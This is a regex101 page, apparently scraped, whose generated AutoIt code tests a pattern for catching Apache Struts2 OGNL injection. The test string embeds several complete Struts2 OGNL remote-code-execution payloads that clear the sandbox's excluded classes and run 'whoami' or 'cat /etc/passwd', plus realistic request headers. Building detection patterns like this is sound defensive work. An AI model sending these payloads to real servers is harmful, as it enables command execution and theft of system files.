Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

r"
"
ig

Test String

Code Generator

Language

Generated Code

#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?i)\%[\s|\\r|\\n]*\{[\s|\\r|\\n]*(?:[\s|\\r|\\n]*\(\#[^\=]+\=[^\)]+\)\.)" Local $sString = ""Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}" & @CRLF & _ " data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF" & @CRLF & _ "Content-Disposition: form-data; name=\"id\"" & @CRLF & _ "" & @CRLF & _ "%{" & @CRLF & _ "(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +" & @CRLF & _ "(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +" & @CRLF & _ "(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +" & @CRLF & _ "(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +" & @CRLF & _ "(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +" & @CRLF & _ "(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +" & @CRLF & _ "(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +" & @CRLF & _ "(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +" & @CRLF & _ "(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))" & @CRLF & _ "}" & @CRLF & _ "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "/?name=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ " /index.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=cat /etc/passwd" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ " ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'CMD'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--\xe2\x80\x94" & @CRLF & _ "" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm